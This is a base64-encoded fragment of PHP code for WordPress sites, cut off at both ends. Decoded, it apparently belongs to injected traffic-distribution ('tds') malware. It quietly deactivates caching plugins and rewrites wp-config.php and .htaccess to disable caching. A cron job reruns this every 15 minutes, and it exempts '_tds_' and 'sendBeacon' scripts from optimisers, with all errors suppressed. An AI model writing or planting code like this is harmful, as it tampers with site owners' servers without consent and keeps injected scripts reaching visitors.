ICAgICAgICAgICAgICAgICAgICBpZiAoJF9odGMgIT09ICRfaHRfb3JpZ2luYWwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIF90ZHNfc2FmZV93cml0ZSgkX2h0LCAkX2h0YywgMTApOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC8vIOKUgOKUgOKUgCA3LiBEZWxldGUgY2FjaGUgZmlsZXMgb24gZGlzayDilIDilIDilIAKICAgICAgICAgICAgICAgICRfZGlycyA9IGFycmF5KFdQX0NPTlRFTlRfRElSIC4gJy9jYWNoZScsIFdQX0NPTlRFTlRfRElSIC4gJy9saXRlc3BlZWQnLAogICAgICAgICAgICAgICAgICAgIFdQX0NPTlRFTlRfRElSIC4gJy9ldC1jYWNoZScsIFdQX0NPTlRFTlRfRElSIC4gJy9icmVlemUtY29uZmlnJywKICAgICAgICAgICAgICAgICAgICBXUF9DT05URU5UX0RJUiAuICcvd3Atcm9ja2V0LWNvbmZpZycpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9kaXJzIGFzICRfZCkgewogICAgICAgICAgICAgICAgICAgIGlmICghaXNfZGlyKCRfZCkpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfaXQgPSBuZXcgXFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBuZXcgXFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRfZCwgXFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yOjpTS0lQX0RPVFMpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgXFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkNISUxEX0ZJUlNUCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfaXQgYXMgJF9mKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9mLT5pc0ZpbGUoKSAmJiBwcmVnX21hdGNoKCcvXC4oaHRtbHxodG1sXC5nenxqc29uKSQvaScsICRfZi0+Z2V0RmlsZW5hbWUoKSkpIEB1bmxpbmsoJF9mLT5nZXRSZWFsUGF0aCgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9lKSB7fQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC8vIOKUgOKUgOKUgCA4LiBQbHVnaW4tbGV2ZWwgcHVyZ2UgQVBJIGNhbGxzIOKUgOKUgOKUgAogICAgICAgICAgICAgICAgJF9wdXJnZV9mbnMgPSBhcnJheSgnd3BfY2FjaGVfY2xlYXJfY2FjaGUnLCd3M3RjX2ZsdXNoX2FsbCcsJ3JvY2tldF9jbGVhbl9kb21haW4nLAogICAgICAgICAgICAgICAgICAgICd3cGZjX2NsZWFyX2FsbF9jYWNoZScsJ3NnX2NhY2hlcHJlc3NfcHVyZ2VfY2FjaGUnLCdwb3dlcmVkX2NhY2hlX2ZsdXNoJywKICAgICAgICAgICAgICAgICAgICAnc3BlZWR5Y2FjaGVfZGVsZXRlX2NhY2hlJywnc3BlZWR5Y2FjaGVfY2xlYXJfYWxsX2NhY2hlJyk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkX3B1cmdlX2ZucyBhcyAkX2ZuKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygkX2ZuKSkgeyB0cnkgeyBAJF9mbigpOyB9IGNhdGNoIChcVGhyb3dhYmxlICRfZSkge30gfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJF9wdXJnZV9jbGFzc2VzID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJ0xpdGVTcGVlZF9DYWNoZV9BUEknLCAncHVyZ2VfYWxsJyksCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJ0xpdGVTcGVlZFxcUHVyZ2UnLCAncHVyZ2VfYWxsJyksCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJ0JyZWV6ZV9QdXJnZUNhY2hlJywgJ2JyZWV6ZV9jYWNoZV9mbHVzaCcpLAogICAgICAgICAgICAgICAgICAgIGFycmF5KCdjb21ldF9jYWNoZScsICdjbGVhcicpLAogICAgICAgICAgICAgICAgICAgIGFycmF5KCdDYWNoZV9FbmFibGVyJywgJ2NsZWFyX3RvdGFsX2NhY2hlJyksCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9wdXJnZV9jbGFzc2VzIGFzICRfcGMpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoY2xhc3NfZXhpc3RzKCRfcGNbMF0pICYmIG1ldGhvZF9leGlzdHMoJF9wY1swXSwgJF9wY1sxXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdHJ5IHsgQGNhbGxfdXNlcl9mdW5jKGFycmF5KCRfcGNbMF0sICRfcGNbMV0pKTsgfSBjYXRjaCAoXFRocm93YWJsZSAkX2UpIHt9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2ZhdGFsKSB7CiAgICAgICAgICAgICAgICAvLyBOZXZlciBsZXQgY2FjaGUta2lsbCBjcmFzaCB0aGUgc2l0ZQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIC8qIOKUgOKUgCBTZWxmLWhlYWwgY3JvbjogcmUtcnVucyBudWtlIGV2ZXJ5IDE1IG1pbiDilIDilIAgKi8KICAgIGlmICgkX3Rkc19jYWNoZV9ieXBhc3NfbmVlZGVkKSB7CiAgICAgICAgYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIGlmICghd3BfbmV4dF9zY2hlZHVsZWQoJ190ZHNfY2FjaGVfc2VsZmhlYWwnKSkgewogICAgICAgICAgICAgICAgICAgIHdwX3NjaGVkdWxlX2V2ZW50KHRpbWUoKSwgJ190ZHNfMTVtaW4nLCAnX3Rkc19jYWNoZV9zZWxmaGVhbCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfZSkge30KICAgICAgICB9LCAxKTsKICAgICAgICBhZGRfZmlsdGVyKCdjcm9uX3NjaGVkdWxlcycsIGZ1bmN0aW9uICgkX3MpIHsKICAgICAgICAgICAgJF9zWydfdGRzXzE1bWluJ10gPSBhcnJheSgnaW50ZXJ2YWwnID0+IDkwMCwgJ2Rpc3BsYXknID0+ICdFdmVyeSAxNSBtaW4nKTsKICAgICAgICAgICAgcmV0dXJuICRfczsKICAgICAgICB9KTsKICAgICAgICBhZGRfYWN0aW9uKCdfdGRzX2NhY2hlX3NlbGZoZWFsJywgZnVuY3Rpb24gKCkgewogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdfdGRzX2NhY2hlX251a2UnKSkgeyB0cnkgeyBfdGRzX2NhY2hlX251a2UoKTsgfSBjYXRjaCAoXFRocm93YWJsZSAkX2UpIHt9IH0KICAgICAgICB9KTsKICAgIH0KCiAgICAvKiDilIDilIAgRnJvbnRlbmQtb25seTogY29uc3RhbnRzICsgZmlsdGVycyArIGhlYWRlcnMg4pSA4pSAICovCiAgICBpZiAoJF90ZHNfY2FjaGVfYnlwYXNzX25lZWRlZCAmJiAhaXNfYWRtaW4oKSAmJiAhZGVmaW5lZCgnRE9JTkdfQ1JPTicpICYmICFkZWZpbmVkKCdXUF9DTEknKSAmJiAhZGVmaW5lZCgnRE9JTkdfQUpBWCcpICYmICFkZWZpbmVkKCdYTUxSUENfUkVRVUVTVCcpICYmIHBocF9zYXBpX25hbWUoKSAhPT0gJ2NsaScpIHsKCiAgICAgICAgLy8gLS0tIENvbnN0YW50cyAobGlnaHR3ZWlnaHQsIGFsd2F5cyBzYWZlKSAtLS0KICAgICAgICBmb3JlYWNoIChhcnJheSgnRE9OT1RDQUNIRVBBR0UnLCdET05PVENBQ0hFT0JKRUNUJywnRE9OT1RDQUNIRURCJywnRE9OT1RNSU5JRlknLCdET05PVENETicsCiAgICAgICAgICAgICdMU0NBQ0hFX05PX0NBQ0hFJywnTElURVNQRUVEX0RJU0FCTEVfQUxMJywnRE9OT1RST0NLRVRPUFRJTUlaRScsCiAgICAgICAgICAgICdCUkVFWkVfRElTQUJMRV9DQUNIRScsJ1NHX09QVElNSVpFUl9OT19DQUNIRScpIGFzICRfY2spIHsKICAgICAgICAgICAgaWYgKCFkZWZpbmVkKCRfY2spKSBkZWZpbmUoJF9jaywgdHJ1ZSk7CiAgICAgICAgfQoKICAgICAgICAvLyAtLS0gcGx1Z2luc19sb2FkZWQ6IGxpZ2h0d2VpZ2h0IGZpbHRlcnMgKGFsd2F5cykgKyBoZWF2eSBzZWxmLWhlYWwgKHJhdGUtbGltaXRlZCkgLS0tCiAgICAgICAgYWRkX2FjdGlvbigncGx1Z2luc19sb2FkZWQnLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAvLyDilIDilIAgSGVhdnkgc2VsZi1oZWFsOiBmaWxlIHdyaXRlcyArIHBsdWdpbiBkZWFjdGl2YXRpb24g4pSA4pSACiAgICAgICAgICAgICAgICAvLyBSYXRlLWxpbWl0ZWQgdG8gb25jZSBwZXIgNSBtaW4gdG8gYXZvaWQgcmFjZSBjb25kaXRpb25zIG9uIHdwLWNvbmZpZy5waHAKICAgICAgICAgICAgICAgIGlmICghZ2V0X3RyYW5zaWVudCgnX3Rkc19zaF9vaycpKSB7CiAgICAgICAgICAgICAgICAgICAgc2V0X3RyYW5zaWVudCgnX3Rkc19zaF9vaycsIDEsIDMwMCk7CgogICAgICAgICAgICAgICAgICAgIC8vIERlYWN0aXZhdGUgY2FjaGUgcGx1Z2lucwogICAgICAgICAgICAgICAgICAgICRfYWN0ID0gZ2V0X29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCBhcnJheSgpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJF9hY3QpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfY2xlYW4gPSBhcnJheSgpOyAkX2tpbGxlZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX2FjdCBhcyAkX3BsKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX3N0cmluZygkX3BsKSkgeyAkX2NsZWFuW10gPSAkX3BsOyBjb250aW51ZTsgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9pcyA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXkoJ3NwZWVkeWNhY2hlJywnd3Atc3VwZXItY2FjaGUnLCd3My10b3RhbC1jYWNoZScsJ3dwLWZhc3Rlc3QtY2FjaGUnLCdsaXRlc3BlZWQtY2FjaGUnLCd3cC1yb2NrZXQnLCdicmVlemUnLCdodW1taW5nYmlyZCcsJ3NnLWNhY2hlcHJlc3MnLCdwb3dlcmVkLWNhY2hlJywnY29tZXQtY2FjaGUnLCdjYWNoZS1lbmFibGVyJywnc3dpZnQtcGVyZm9ybWFuY2UnLCduaXRyb3BhY2snLCdmbHlpbmdwcmVzcycsJ3dwLW9wdGltaXplJykgYXMgJF9zKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHN0cmlwb3MoJF9wbCwgJF9zKSAhPT0gZmFsc2UpIHsgJF9pcyA9IHRydWU7ICRfa2lsbGVkID0gdHJ1ZTsgYnJlYWs7IH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJF9pcykgJF9jbGVhbltdID0gJF9wbDsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9raWxsZWQpIHVwZGF0ZV9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJywgJF9jbGVhbik7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAvLyBIb3N0aW5nIGNhY2hlIG9wdGlvbnMKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChhcnJheSgnZW5kdXJhbmNlX2NhY2hlX2xldmVsJywnc3RhcnRlcl9wYWdlX2NhY2hlX2xldmVsJywnc3RhcnRlcl9jYWNoZV9sZXZlbCcpIGFzICRfb2spIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF92ID0gZ2V0X29wdGlvbigkX29rKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfdiAhPT0gZmFsc2UgJiYgaW50dmFsKCRfdikgPiAwKSB1cGRhdGVfb3B0aW9uKCRfb2ssIDApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkX21tID0gZ2V0X29wdGlvbignbW1fY2FjaGVfc2V0dGluZ3MnKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJF9tbSkgJiYgKCFlbXB0eSgkX21tWydwYWdlJ10pIHx8ICFlbXB0eSgkX21tWydicm93c2VyJ10pKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX21tWydwYWdlJ10gPSAwOyAkX21tWydicm93c2VyJ10gPSAwOyB1cGRhdGVfb3B0aW9uKCdtbV9jYWNoZV9zZXR0aW5ncycsICRfbW0pOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgLy8gd3AtY29uZmlnLnBocDogV1BfQ0FDSEU9ZmFsc2UgKGF0b21pYyB3cml0ZSkKICAgICAgICAgICAgICAgICAgICAkX3dwYyA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfd3BjKSAmJiBpc193cml0YWJsZSgkX3dwYykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9jZmcgPSBAZmlsZV9nZXRfY29udGVudHMoJF93cGMpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9jZmcgJiYgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1XUF9DQUNIRVsnXCJdXHMqLFxzKnRydWVccypcKS9pIiwgJF9jZmcpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX25ld19jZmcgPSBwcmVnX3JlcGxhY2UoIi9kZWZpbmVccypcKFxzKlsnXCJdV1BfQ0FDSEVbJ1wiXVxzKixccyp0cnVlXHMqXCkvaSIsICJkZWZpbmUoJ1dQX0NBQ0hFJyxmYWxzZSkiLCAkX2NmZyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9uZXdfY2ZnICYmIHN0cnBvcygkX25ld19jZmcsICdEQl9OQU1FJykgIT09IGZhbHNlICYmIGZ1bmN0aW9uX2V4aXN0cygnX3Rkc19zYWZlX3dyaXRlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfdGRzX3NhZmVfd3JpdGUoJF93cGMsICRfbmV3X2NmZywgMjAwKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgLy8gLmh0YWNjZXNzOiBzdHJpcCBBTEwgY2FjaGUtcGx1Z2luIHJld3JpdGUgYmxvY2tzCiAgICAgICAgICAgICAgICAgICAgJF9odF9zaCA9IEFCU1BBVEggLiAnLmh0YWNjZXNzJzsKICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9odF9zaCkgJiYgaXNfd3JpdGFibGUoJF9odF9zaCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9odGNfc2ggPSBAZmlsZV9nZXRfY29udGVudHMoJF9odF9zaCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX2h0Y19zaCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9odGNfc2hfb3JpZyA9ICRfaHRjX3NoOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1dwRmFzdGVzdENhY2hlJywnR3ppcFdwRmFzdGVzdENhY2hlJywnTEJDV3BGYXN0ZXN0Q2FjaGUnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdXM1RDIFBhZ2UgQ2FjaGUnLCdXM1RDIEJyb3dzZXIgQ2FjaGUnLCdXM1RDIE1pbmlmeScsJ1czVEMgQ0ROJywnVzNUQycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1dQU3VwZXJDYWNoZScsJ0xTQ0FDSEUnLCdMaXRlU3BlZWQnLCdDYWNoZUVuYWJsZXInLCdjYWNoZV9lbmFibGVyJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnU1RBUlRFUicsJ1NUQVJURVJfQ0FDSEUnLCdTR09wdGltaXplcicsJ1N0YXJ0ZXIgUGFnZSBDYWNoZScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0JSRUVaRScsJ1dQIFJvY2tldCcsJ05pdHJvUGFjaycsJ1NHIE9wdGltaXplcicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1N0YXJ0ZXIgQ2FjaGUnLCdTdGFydGVyLVBhZ2UtQ2FjaGUnLCdwb3dlcmVkIGNhY2hlJywnUG93ZXJlZENhY2hlJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc3dpZnQtcGVyZm9ybWFuY2UnLCdTd2lmdFBlcmZvcm1hbmNlJywnRmx5aW5nUHJlc3MnLCdIdW1taW5nYmlyZCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1NwZWVkeUNhY2hlJywnU3BlZWR5UGFnZUNhY2hlJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICkgYXMgJF9ibF9zaCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfaHRjX3NoID0gcHJlZ19yZXBsYWNlKCcvXHMqI1xzKkJFR0lOXHMrJyAuIHByZWdfcXVvdGUoJF9ibF9zaCwgJy8nKSAuICcuKj8jXHMqRU5EXHMrJyAuIHByZWdfcXVvdGUoJF9ibF9zaCwgJy8nKSAuICdbXlxuXSovc2knLCAnJywgJF9odGNfc2gpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9odGNfc2ggPSBwcmVnX3JlcGxhY2UoJy9eXHMqUmV3cml0ZVJ1bGVccysuKndwLWNvbnRlbnRcL2NhY2hlXC9hbGxcLy4qJC9taScsICcnLCAkX2h0Y19zaCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2h0Y19zaCA9IHByZWdfcmVwbGFjZSgnL15ccypSZXdyaXRlUnVsZVxzKy4qd3AtY29udGVudFwvY2FjaGVcL3N1cGVyY2FjaGVcLy4qJC9taScsICcnLCAkX2h0Y19zaCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2h0Y19zaCA9IHByZWdfcmVwbGFjZSgnL1xuezQsfS8nLCAiXG5cbiIsICRfaHRjX3NoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJF9odGNfc2gsICdURFNfTk9DQUNIRScpID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfaHRjX3NoID0gIlxuIyBCRUdJTiBURFNfTk9DQUNIRVxuPElmTW9kdWxlIExpdGVTcGVlZD5cbkNhY2hlRGlzYWJsZSBwdWJsaWMgL1xuPC9JZk1vZHVsZT5cbiMgRU5EIFREU19OT0NBQ0hFXG4iIC4gJF9odGNfc2g7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9odGNfc2ggIT09ICRfaHRjX3NoX29yaWcgJiYgZnVuY3Rpb25fZXhpc3RzKCdfdGRzX3NhZmVfd3JpdGUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF90ZHNfc2FmZV93cml0ZSgkX2h0X3NoLCAkX2h0Y19zaCwgMTApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC8vIOKUgOKUgCBMaWdodHdlaWdodCBydW50aW1lIGZpbHRlcnMgKGFsd2F5cywgb24gZXZlcnkgcmVxdWVzdCkg4pSA4pSACiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9jYWNoZV9jbGVhcl9jYWNoZScpKSB7IGdsb2JhbCAkY2FjaGVfZW5hYmxlZCwgJHN1cGVyX2NhY2hlX2VuYWJsZWQ7ICRjYWNoZV9lbmFibGVkID0gZmFsc2U7ICRzdXBlcl9jYWNoZV9lbmFibGVkID0gZmFsc2U7IH0KICAgICAgICAgICAgICAgIGlmIChjbGFzc19leGlzdHMoJ1czX1BsdWdpbl9Ub3RhbENhY2hlJykgfHwgZnVuY3Rpb25fZXhpc3RzKCd3M3RjX3BnY2FjaGVfZmx1c2gnKSkgYWRkX2ZpbHRlcigndzN0Y19jYW5fY2FjaGUnLCAnX19yZXR1cm5fZmFsc2UnLCA5OTk5KTsKICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3JvY2tldF9jbGVhbl9kb21haW4nKSkgewogICAgICAgICAgICAgICAgICAgIGFkZF9maWx0ZXIoJ2RvX3JvY2tldF9nZW5lcmF0ZV9jYWNoaW5nX2ZpbGVzJywgJ19fcmV0dXJuX2ZhbHNlJywgOTk5OSk7CiAgICAgICAgICAgICAgICAgICAgYWRkX2ZpbHRlcigncm9ja2V0X2NhY2hlX3JlamVjdF91cmknLCBmdW5jdGlvbiAoJHUpIHsgJHVbXSA9ICcoLiopJzsgcmV0dXJuICR1OyB9LCA5OTk5KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChjbGFzc19leGlzdHMoJ0xpdGVTcGVlZF9DYWNoZScpIHx8IGNsYXNzX2V4aXN0cygnTGl0ZVNwZWVkXFxDb3JlJykpIHsKICAgICAgICAgICAgICAgICAgICBkb19hY3Rpb24oJ2xpdGVzcGVlZF9jb250cm9sX3NldF9ub2NhY2hlJywgJ3RkcycpOwogICAgICAgICAgICAgICAgICAgIGlmIChtZXRob2RfZXhpc3RzKCdMaXRlU3BlZWRfQ2FjaGVfQVBJJywgJ3NldF9ub2NhY2hlJykpIHsgdHJ5IHsgQExpdGVTcGVlZF9DYWNoZV9BUEk6OnNldF9ub2NhY2hlKCd0ZHMnKTsgfSBjYXRjaCAoXFRocm93YWJsZSAkX2UpIHt9IH0KICAgICAgICAgICAgICAgICAgICBpZiAoY2xhc3NfZXhpc3RzKCdMaXRlU3BlZWRcXENvcmUnKSAmJiBtZXRob2RfZXhpc3RzKCdMaXRlU3BlZWRcXENvcmUnLCAnY2xzJykpIHsgdHJ5IHsgXExpdGVTcGVlZFxDb3JlOjpjbHMoJ0NvbnRyb2wnKS0+c2V0X25vY2FjaGUoJ3RkcycpOyB9IGNhdGNoIChcVGhyb3dhYmxlICRfZSkge30gfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcignd3BmY19leGNsdWRlX2N1cnJlbnRfcGFnZScsICdfX3JldHVybl90cnVlJywgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCd3cGhiX3Nob3VsZF9jYWNoZV9yZXF1ZXN0JywgJ19fcmV0dXJuX2ZhbHNlJywgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCdjb21ldF9jYWNoZV9tYXliZV9jYWNoZScsICdfX3JldHVybl9mYWxzZScsIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcignemVuY2FjaGVfbWF5YmVfY2FjaGUnLCAnX19yZXR1cm5fZmFsc2UnLCA5OTk5KTsKICAgICAgICAgICAgICAgIGFkZF9maWx0ZXIoJ3N3aWZ0X3BlcmZvcm1hbmNlX2lzX2NhY2hlYWJsZScsICdfX3JldHVybl9mYWxzZScsIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcignY2FjaGVfZW5hYmxlcl9ieXBhc3NfY2FjaGUnLCAnX19yZXR1cm5fdHJ1ZScsIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcigncG93ZXJlZF9jYWNoZV9pc19jYWNoZWFibGUnLCAnX19yZXR1cm5fZmFsc2UnLCA5OTk5KTsKICAgICAgICAgICAgICAgIGFkZF9maWx0ZXIoJ3Nnb19ieXBhc3NfY2FjaGUnLCAnX19yZXR1cm5fdHJ1ZScsIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcignYnJlZXplX2NhY2hlX3RoaXNfcGFnZScsICdfX3JldHVybl9mYWxzZScsIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcignZmx5aW5nX3ByZXNzX2lzX2NhY2hlYWJsZScsICdfX3JldHVybl9mYWxzZScsIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcignc3BlZWR5Y2FjaGVfZXhjbHVkZV9wYWdlJywgJ19fcmV0dXJuX3RydWUnLCA5OTk5KTsKICAgICAgICAgICAgICAgIGFkZF9maWx0ZXIoJ3dwb19jYW5fY2FjaGVfcGFnZScsICdfX3JldHVybl9mYWxzZScsIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcignbml0cm9wYWNrX2lzX2NhY2hlYWJsZScsICdfX3JldHVybl9mYWxzZScsIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcignc3RhcnRlcl9wYWdlX2NhY2hlX2Rpc2FibGUnLCAnX19yZXR1cm5fdHJ1ZScsIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcignZmxhdm9yX2NhY2hlX3RoaXNfcGFnZScsICdfX3JldHVybl9mYWxzZScsIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcigna2luc3RhX2NhY2hlX2J5cGFzcycsICdfX3JldHVybl90cnVlJywgOTk5OSk7CiAgICAgICAgICAgICAgICBhZGRfZmlsdGVyKCdhdXRvcHRpbWl6ZV9maWx0ZXJfanNfZXhjbHVkZScsIGZ1bmN0aW9uICgkeCkgeyByZXR1cm4gJHggLiAnLF90ZHNfLHNlbmRCZWFjb24sX2ViLF9iYyc7IH0sIDk5OTkpOwogICAgICAgICAgICAgICAgYWRkX2ZpbHRlcigncGVyZm1hdHRlcnNfZGVsYXlfanNfZXhjbHVzaW9ucycsIGZ1bmN0aW9uICgkeCkgeyAkeFtdID0gJ190ZHNfJzsgJHhbXSA9ICdzZW5kQmVhY29uJzsgcmV0dXJuICR4OyB9LCA5OTk5KTsKICAgICAgICAgICAgICAgIGFkZF9maWx0ZXIoJ3JvY2tldF9kZWxheV9qc19leGNsdXNpb25zJywgZnVuY3Rpb24gKCR4KSB7ICR4W10gPSAnX3Rkc18nOyAkeFtdID0gJ3NlbmRCZWFjb24nOyByZXR1cm4gJHg7IH0sIDk5OTkpOwoKICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2ZhdGFsKSB7CiAgICAgICAgICAgICAgICAvLyBOZXZlciBjcmFzaCB0aGUgc2l0ZSBmcm9tIGNhY2hlIG1hbmFnZW1lbnQKICAgICAgICAgICAgfQogICAgICAgIH0sIDApOwoKICAgICAgICAvLyAtLS0gSFRUUCByZXNwb25zZSBoZWFkZXJzIC0tLQogICAgICAgIGFkZF9hY3Rpb24oJ3NlbmRfaGVhZGVycycsIGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIGlmIChoZWFkZXJzX3NlbnQoKSkgcmV0dXJuOwogICAgICAgICAgICAgICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgbWF4LWFnZT0wLCBzLW1heGFnZT0wLCBwcm94eS1yZXZhbGlkYXRlLCBwcml2YXRlJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ1ByYWdtYTogbm8tY2FjaGUnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignRXhwaXJlczogVGh1LCAwMSBKYW4gMTk3MCAwMDowMDowMCBHTVQnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignVmFyeTogKicpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdYLUFjY2VsLUV4cGlyZXM6IDAnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignU3Vycm9nYXRlLUNvbnRyb2w6IG5vLXN0b3JlJyk7CiAgICAgICAgICAgICAgICBoZWFkZXIoJ1gtVmFybmlzaC1Oby1DYWNoZTogMScpOwogICAgICAgICAgICAgICAgaGVhZGVyKCdY